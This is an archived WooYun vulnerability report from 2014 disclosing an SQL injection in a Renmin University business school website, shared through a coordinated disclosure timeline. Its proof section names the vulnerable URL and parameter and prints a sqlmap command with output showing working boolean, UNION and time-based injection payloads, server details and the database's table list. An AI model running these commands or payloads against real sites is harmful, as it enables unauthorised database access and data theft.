当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065893

漏洞标题:中国人民大学商学院某站sql注入

相关厂商:中国人民大学商学院

漏洞作者: by阿明

提交时间:2014-06-23 11:04

修复时间:2014-08-07 11:06

公开时间:2014-08-07 11:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-23: 细节已通知厂商并且等待厂商处理中
2014-06-27: 厂商已经确认,细节仅向厂商公开
2014-07-07: 细节向核心白帽子及相关领域专家公开
2014-07-17: 细节向普通白帽子公开
2014-07-27: 细节向实习白帽子公开
2014-08-07: 细节向公众公开

简要描述:

大晚上的该睡觉了

详细说明:

注入点 http://edp.rbs.org.cn/news_show.php?id=303
直接sqlmap开跑

14[AE9]O(5W8Z)Y7(T1XYAK.jpg


A9NSOIP3TF`2$4DG1FHD][H.jpg


TM~}X)~W%FZ3BG0@7C4@RB3.jpg

漏洞证明:

sqlmap.py -u "http://edp.rbs.org.cn/news_show.php?id=303" -D edp --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 01:30:20
[01:30:20] [INFO] resuming back-end DBMS 'mysql'
[01:30:20] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=303 AND 9390=9390
Type: UNION query
Title: MySQL UNION query (NULL) - 15 columns
Payload: id=-1477 UNION ALL SELECT NULL,CONCAT(0x71746e7071,0x4d747572564c47
67436a,0x71696f7371),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=303 AND SLEEP(5)
---
[01:30:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[01:30:20] [INFO] fetching tables for database: 'edp'
[01:30:20] [INFO] the SQL query used returns 39 entries
Database: edp
[39 tables]
+-----------------+
| apply_f2013 |
| apply_f2014 |
| edp_about |
| edp_activity |
| edp_admin |
| edp_admin_st |
| edp_apply_1 |
| edp_apply_2 |
| edp_cert |
| edp_course |
| edp_courseabout |
| edp_coursesort |
| edp_download |
| edp_flash |
| edp_getpass |
| edp_gml2014 |
| edp_gml20142 |
| edp_gml20143 |
| edp_gml20144 |
| edp_news |
| edp_partner |
| edp_teacher |
| edp_teaching |
| edp_topic |
| edp_user |
| edp_user_bak |
| edp_xyactivity |
| edp_xybiz |
| edp_xyclub |
| edp_xyintro |
| edp_xynews |
| edp_xypp |
| edpwj_answer |
| edpwj_answer1 |
| hr_admin |
| hr_admin_s |
| hr_apply |
| hr_apply_s |
| hr_join |
+-----------------+

修复方案:

过滤

版权声明:转载请注明来源 by阿明@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-06-27 16:49

厂商回复:

正在通知相关学校处理

最新状态:

暂无